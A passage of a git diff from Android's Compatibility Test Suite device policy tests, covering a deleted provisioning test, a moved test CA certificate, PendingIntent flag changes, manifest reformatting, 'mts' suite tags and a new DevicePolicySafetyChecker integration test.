-import android.app.Activity;
-import android.os.Bundle;
-
-public class ProvisioningSuccessActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        ProvisioningTest.getSharedPreferences(this).edit()
-                .putBoolean(ProvisioningTest.KEY_PROVISIONING_SUCCESSFUL_RECEIVED, true).commit();
-        finish();
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
deleted file mode 100644
index 8cf156b..0000000
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
+++ /dev/null
@@ -1,182 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.managedprofile;
-
-import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
-import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_ACCOUNT_TO_MIGRATE;
-import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE;
-import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
-import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_KEEP_ACCOUNT_ON_MIGRATION;
-import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.accounts.Account;
-import android.accounts.AccountManager;
-import android.app.admin.DeviceAdminReceiver;
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.SharedPreferences;
-import android.os.PersistableBundle;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
-
-import org.junit.Before;
-import org.junit.Test;
-
-@SmallTest
-public class ProvisioningTest {
-    private static final String TAG = ProvisioningTest.class.getSimpleName();
-
-    private static final String SHARED_PREFERENCE_FILE_NAME = "shared-preferences-file-name";
-
-    private static final PersistableBundle ADMIN_EXTRAS_BUNDLE = new PersistableBundle();
-    private static final String ADMIN_EXTRAS_BUNDLE_KEY_1 = "KEY_1";
-    private static final String ADMIN_EXTRAS_BUNDLE_VALUE_1 = "VALUE_1";
-    static {
-        ADMIN_EXTRAS_BUNDLE.putString(ADMIN_EXTRAS_BUNDLE_KEY_1, ADMIN_EXTRAS_BUNDLE_VALUE_1);
-    }
-
-    public static final String KEY_PROVISIONING_SUCCESSFUL_RECEIVED =
-            "key-provisioning-successful-received";
-
-    private static final ComponentName ADMIN_RECEIVER_COMPONENT = new ComponentName(
-            ProvisioningAdminReceiver.class.getPackage().getName(),
-            ProvisioningAdminReceiver.class.getName());
-
-    public static class ProvisioningAdminReceiver extends DeviceAdminReceiver {
-        @Override
-        public void onProfileProvisioningComplete(Context context, Intent intent) {
-            super.onProfileProvisioningComplete(context, intent);
-            // Enabled profile
-            getManager(context).setProfileName(ADMIN_RECEIVER_COMPONENT, "Managed Profile");
-            getManager(context).setProfileEnabled(ADMIN_RECEIVER_COMPONENT);
-            Log.i(TAG, "onProfileProvisioningComplete");
-
-            saveBundle(context, intent.getParcelableExtra(EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE));
-        }
-    }
-
-    private Context mContext;
-    private DevicePolicyManager mDpm;
-
-    @Before
-    public void setUp() {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mDpm = mContext.getSystemService(DevicePolicyManager.class);
-    }
-
-    @Test
-    public void testIsManagedProfile() {
-        assertTrue(mDpm.isManagedProfile(ADMIN_RECEIVER_COMPONENT));
-        Log.i(TAG, "managed profile app: " + ADMIN_RECEIVER_COMPONENT.getPackageName());
-    }
-
-    @Test
-    public void testProvisionManagedProfile() throws InterruptedException {
-        provisionManagedProfile(createBaseProvisioningIntent());
-    }
-
-    @Test
-    public void testProvisionManagedProfile_accountCopy() throws InterruptedException {
-        provisionManagedProfile(createBaseProvisioningIntent()
-                .putExtra(EXTRA_PROVISIONING_KEEP_ACCOUNT_ON_MIGRATION, true));
-    }
-
-    @Test
-    public void testVerifyAdminExtraBundle() {
-        PersistableBundle bundle = loadBundle(mContext);
-        assertNotNull(bundle);
-        assertEquals(ADMIN_EXTRAS_BUNDLE_VALUE_1, bundle.getString(ADMIN_EXTRAS_BUNDLE_KEY_1));
-    }
-
-    @Test
-    public void testVerifySuccessfulIntentWasReceived() {
-        assertTrue(getSharedPreferences(mContext).getBoolean(KEY_PROVISIONING_SUCCESSFUL_RECEIVED,
-                false));
-    }
-
-    @Test
-    public void testAccountExist() {
-        AccountManager am = AccountManager.get(mContext);
-        for (Account account : am.getAccountsByType(AccountAuthenticator.ACCOUNT_TYPE)) {
-            if (AccountAuthenticator.TEST_ACCOUNT.equals(account)) {
-                return;
-            }
-        }
-        fail("can't find migrated account");
-    }
-
-    @Test
-    public void testAccountNotExist() {
-        AccountManager am = AccountManager.get(mContext);
-        assertTrue("test account still exists after account migration",
-                am.getAccountsByType(AccountAuthenticator.ACCOUNT_TYPE).length == 0);
-    }
-
-    private Intent createBaseProvisioningIntent() {
-        return new Intent(ACTION_PROVISION_MANAGED_PROFILE)
-                .putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, ADMIN_RECEIVER_COMPONENT)
-                .putExtra(EXTRA_PROVISIONING_SKIP_ENCRYPTION, true)
-                .putExtra(EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE, ADMIN_EXTRAS_BUNDLE)
-                .putExtra(EXTRA_PROVISIONING_ACCOUNT_TO_MIGRATE, addAndGetTestAccount());
-    }
-
-    private void provisionManagedProfile(Intent intent) throws InterruptedException {
-        SilentProvisioningTestManager provisioningManager = new SilentProvisioningTestManager(mContext);
-        assertTrue(provisioningManager.startProvisioningAndWait(intent));
-        Log.i(TAG, "managed profile provisioning successful");
-    }
-
-    private Account addAndGetTestAccount() {
-        Account account = AccountAuthenticator.TEST_ACCOUNT;
-        AccountManager.get(mContext).addAccountExplicitly(account, null, null);
-        return account;
-    }
-
-    private static void saveBundle(Context context, PersistableBundle bundle) {
-        if (bundle == null) {
-            Log.e(TAG, "null saveBundle");
-            return;
-        }
-
-        getSharedPreferences(context).edit()
-                .putString(ADMIN_EXTRAS_BUNDLE_KEY_1, bundle.getString(ADMIN_EXTRAS_BUNDLE_KEY_1))
-                .commit();
-    }
-
-    private static PersistableBundle loadBundle(Context context) {
-        SharedPreferences pref = getSharedPreferences(context);
-        PersistableBundle bundle = new PersistableBundle();
-        bundle.putString(ADMIN_EXTRAS_BUNDLE_KEY_1,
-                pref.getString(ADMIN_EXTRAS_BUNDLE_KEY_1, null));
-        return bundle;
-    }
-
-    public static SharedPreferences getSharedPreferences(Context context) {
-        return context.getSharedPreferences(SHARED_PREFERENCE_FILE_NAME, 0);
-    }
-
-}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WifiTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WifiTest.java
index bba2e56..a508201 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WifiTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WifiTest.java
@@ -53,30 +53,17 @@
     // Shared WifiManager instance.
     private WifiManager mWifiManager;
 
-    // Original setting of WifiManager.isWifiEnabled() before setup.
-    private boolean mWifiEnabled;
-
     @Override
     public void setUp() throws Exception {
         super.setUp();
         mWifiConfigCreator = new WifiConfigCreator(getContext());
         mWifiManager = (WifiManager) getContext().getSystemService(Context.WIFI_SERVICE);
-        mWifiEnabled = mWifiManager.isWifiEnabled();
-        if (!mWifiEnabled) {
+        if (!mWifiManager.isWifiEnabled()) {
             SystemUtil.runShellCommand("svc wifi enable");
             awaitWifiEnabledState(true);
         }
     }
 
-    @Override
-    public void tearDown() throws Exception {
-        if (!mWifiEnabled) {
-            SystemUtil.runShellCommand("svc wifi disable");
-            awaitWifiEnabledState(false);
-        }
-        super.tearDown();
-    }
-
     /**
      * Add a network through the WifiManager API. Verifies that the network was actually added.
      *
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
index 80a96cb..14d899f 100644
--- a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
@@ -25,6 +25,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/MeteredDataTestApp/AndroidManifest.xml
index d1228f8..5094f4e 100644
--- a/hostsidetests/devicepolicy/app/MeteredDataTestApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/MeteredDataTestApp/AndroidManifest.xml
@@ -16,17 +16,18 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.devicepolicy.metereddatatestapp">
+     package="com.android.cts.devicepolicy.metereddatatestapp">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.INTERNET"/>
 
     <application>
-        <activity android:name=".MainActivity" >
+        <activity android:name=".MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
index 202ef5e..037e794 100644
--- a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
@@ -24,6 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
index c76ba59..92181a9 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
@@ -36,5 +36,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml b/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
index d81cd43..32a4303 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/AndroidManifest.xml
@@ -15,32 +15,30 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.packageinstaller">
+     package="com.android.cts.packageinstaller">
 
     <uses-sdk android:minSdkVersion="21"/>
 
     <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <receiver
-            android:name=".ClearDeviceOwnerTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name=".ClearDeviceOwnerTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.packageinstaller"
-        android:label="Package Installer CTS Tests" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.packageinstaller"
+         android:label="Package Installer CTS Tests"/>
 
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
index 57cbab9..896efe7 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
@@ -154,7 +154,7 @@
                 mContext,
                 sessionId,
                 broadcastIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp b/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
index 5dc1020..1fe0b28 100644
--- a/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
+++ b/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
@@ -34,5 +34,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
index 16df2a4..a359538 100644
--- a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
@@ -26,5 +26,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
index 3ba4837..4f141c4 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
@@ -30,11 +30,13 @@
     static_libs: [
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
+        "devicepolicy-deviceside-common",
         "ub-uiautomator",
     ],
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
index a494ed6..bab39b3 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/AndroidManifest.xml
@@ -15,28 +15,27 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.profileowner" >
+     package="com.android.cts.profileowner">
 
     <uses-sdk android:minSdkVersion="24"/>
 
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.profileowner.BaseProfileOwnerTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.profileowner.BaseProfileOwnerTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.profileowner"
-                     android:label="Profile Owner CTS tests"/>
+         android:targetPackage="com.android.cts.profileowner"
+         android:label="Profile Owner CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml b/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml
index ff086d6..cbe6877 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml
@@ -1,4 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
 <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
     <uses-policies>
+        <force-lock />
     </uses-policies>
 </device-admin>
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AdminActionBookkeepingTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AdminActionBookkeepingTest.java
index 380ad91..162ef40 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AdminActionBookkeepingTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AdminActionBookkeepingTest.java
@@ -15,13 +15,12 @@
  */
 package com.android.cts.profileowner;
 
-import android.app.admin.DevicePolicyManager;
 import android.content.ContentResolver;
-import android.content.Context;
 import android.os.Process;
-import android.os.UserHandle;
 import android.provider.Settings;
 
+import com.android.cts.devicepolicy.TestCertificates;
+
 import java.io.ByteArrayInputStream;
 import java.security.KeyStore;
 import java.security.cert.Certificate;
@@ -29,37 +28,9 @@
 import java.util.List;
 
 public class AdminActionBookkeepingTest extends BaseProfileOwnerTest {
-    /*
-     * The CA cert below is the content of cacert.pem as generated by:
-     *
-     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
-     */
-    private static final String TEST_CA =
-            "-----BEGIN CERTIFICATE-----\n" +
-            "MIIDXTCCAkWgAwIBAgIJAK9Tl/F9V8kSMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n" +
-            "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n" +
-            "aWRnaXRzIFB0eSBMdGQwHhcNMTUwMzA2MTczMjExWhcNMjUwMzAzMTczMjExWjBF\n" +
-            "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n" +
-            "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n" +
-            "CgKCAQEAvItOutsE75WBTgTyNAHt4JXQ3JoseaGqcC3WQij6vhrleWi5KJ0jh1/M\n" +
-            "Rpry7Fajtwwb4t8VZa0NuM2h2YALv52w1xivql88zce/HU1y7XzbXhxis9o6SCI+\n" +
-            "oVQSbPeXRgBPppFzBEh3ZqYTVhAqw451XhwdA4Aqs3wts7ddjwlUzyMdU44osCUg\n" +
-            "kVg7lfPf9sTm5IoHVcfLSCWH5n6Nr9sH3o2ksyTwxuOAvsN11F/a0mmUoPciYPp+\n" +
-            "q7DzQzdi7akRG601DZ4YVOwo6UITGvDyuAAdxl5isovUXqe6Jmz2/myTSpAKxGFs\n" +
-            "jk9oRoG6WXWB1kni490GIPjJ1OceyQIDAQABo1AwTjAdBgNVHQ4EFgQUH1QIlPKL\n" +
-            "p2OQ/AoLOjKvBW4zK3AwHwYDVR0jBBgwFoAUH1QIlPKLp2OQ/AoLOjKvBW4zK3Aw\n" +
-            "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAcMi4voMMJHeQLjtq8Oky\n" +
-            "Azpyk8moDwgCd4llcGj7izOkIIFqq/lyqKdtykVKUWz2bSHO5cLrtaOCiBWVlaCV\n" +
-            "DYAnnVLM8aqaA6hJDIfaGs4zmwz0dY8hVMFCuCBiLWuPfiYtbEmjHGSmpQTG6Qxn\n" +
-            "ZJlaK5CZyt5pgh5EdNdvQmDEbKGmu0wpCq9qjZImwdyAul1t/B0DrsWApZMgZpeI\n" +
-            "d2od0VBrCICB1K4p+C51D93xyQiva7xQcCne+TAnGNy9+gjQ/MyR8MRpwRLv5ikD\n" +
-            "u0anJCN8pXo6IMglfMAsoton1J6o5/ae5uhC6caQU8bNUsCK570gpNfjkzo6rbP0\n" +
-            "wQ==\n" +
-            "-----END CERTIFICATE-----";
-
     @Override
     protected void tearDown() throws Exception {
-        mDevicePolicyManager.uninstallCaCert(getWho(), TEST_CA.getBytes());
+        mDevicePolicyManager.uninstallCaCert(getWho(), TestCertificates.TEST_CA.getBytes());
 
         super.tearDown();
     }
@@ -89,7 +60,7 @@
      * Test: It should be recored whether the Profile Owner or the user installed a CA cert.
      */
     public void testGetPolicyInstalledCaCerts() throws Exception {
-        final byte[] rawCert = TEST_CA.getBytes();
+        final byte[] rawCert = TestCertificates.TEST_CA.getBytes();
         final Certificate cert = CertificateFactory.getInstance("X.509")
                 .generateCertificate(new ByteArrayInputStream(rawCert));
 
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
index 764ed3c..1165ef3 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
@@ -36,7 +36,7 @@
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
                 InstrumentationRegistry.getContext(),
-                1, intent, 0);
+                1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         usm.registerAppUsageObserver(obsId, packages, 60, TimeUnit.SECONDS, pendingIntent);
         usm.unregisterAppUsageObserver(obsId);
@@ -56,7 +56,7 @@
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
                 InstrumentationRegistry.getContext(),
-                1, intent, 0);
+                1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         usm.registerUsageSessionObserver(obsId, packages, Duration.ofSeconds(60),
                 Duration.ofSeconds(10), pendingIntent, null);
@@ -77,7 +77,7 @@
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
                 InstrumentationRegistry.getContext(),
-                1, intent, 0);
+                1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Register too many AppUsageObservers
         for (int obsId = 0; obsId < OBSERVER_LIMIT; obsId++) {
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/BaseProfileOwnerTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/BaseProfileOwnerTest.java
index f47f5a2..7c89468 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/BaseProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/BaseProfileOwnerTest.java
@@ -19,13 +19,32 @@
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
+import android.content.Intent;
 import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
+import com.android.cts.devicepolicy.OperationSafetyChangedCallback;
+import com.android.cts.devicepolicy.OperationSafetyChangedEvent;
 
 public abstract class BaseProfileOwnerTest extends AndroidTestCase {
 
     public static class BasicAdminReceiver extends DeviceAdminReceiver {
+
+        @Override
+        public void onOperationSafetyStateChanged(Context context, int reason, boolean isSafe) {
+            OperationSafetyChangedEvent event = new OperationSafetyChangedEvent(reason, isSafe);
+            Log.d(TAG, "onOperationSafetyStateChanged() on user " + context.getUserId() + ": "
+                    + event);
+
+            Intent intent = OperationSafetyChangedCallback.intentFor(event);
+            LocalBroadcastManager.getInstance(context).sendBroadcast(intent);
+        }
     }
 
+    private static final String TAG = BaseProfileOwnerTest.class.getSimpleName();
+
     public static final String PACKAGE_NAME = BaseProfileOwnerTest.class.getPackage().getName();
 
     protected DevicePolicyManager mDevicePolicyManager;
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
new file mode 100644
index 0000000..dddf76c
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.profileowner;
+
+import android.app.admin.DevicePolicyManager;
+
+import com.android.cts.devicepolicy.DevicePolicySafetyCheckerIntegrationTester;
+
+// TODO(b/174859111): move to automotive-only section
+/**
+ * Tests that DPM calls fail when determined by the
+ * {@link android.app.admin.DevicePolicySafetyChecker}.
+ */
+public final class DevicePolicySafetyCheckerIntegrationTest extends BaseProfileOwnerTest {
+
+    private final DevicePolicySafetyCheckerIntegrationTester mTester =
+            new DevicePolicySafetyCheckerIntegrationTester();
+
+    /**
+     * Tests that all safety-aware operations are properly implemented.
+     */
+    public void testAllOperations() {
+        mTester.testAllOperations(mDevicePolicyManager, getWho());
+    }
+
+    /**
+     * Tests {@link DevicePolicyManager#isSafeOperation(int)}.
+     */
+    public void testIsSafeOperation() {
+        mTester.testIsSafeOperation(mDevicePolicyManager);
+    }
+
+    /**
+     * Tests {@link android.app.admin.UnsafeStateException} properties.
+     */
+    public void testUnsafeStateException() {
+        mTester.testUnsafeStateException(mDevicePolicyManager, getWho());
+    }
+
+    /**
+     * Tests {@link android.app.admin.DeviceAdminReceiver#onOperationSafetyStateChanged()}.
+     */
+    public void testOnOperationSafetyStateChanged() {
+        mTester.testOnOperationSafetyStateChanged(mContext, mDevicePolicyManager);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
index b925514..3ac997b 100644
--- a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
@@ -38,5 +38,6 @@
         "vts10",
         "general-tests",
 	"sts",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SharingApps/Android.bp b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
index b0ac177..9729aaf 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
@@ -37,6 +37,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "sharingapp1/AndroidManifest.xml",
 }
@@ -62,6 +63,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "sharingapp2/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/AndroidManifest.xml
index 7edb265..bfe53fa 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/AndroidManifest.xml
@@ -14,25 +14,26 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-
 <!--
   ~ A test app used for when you need to install test packages that have a functioning package name
   ~ and UID. For example, you could use it to set permissions or app-ops.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.sharingapps.sharingapp1">
+     package="com.android.cts.sharingapps.sharingapp1">
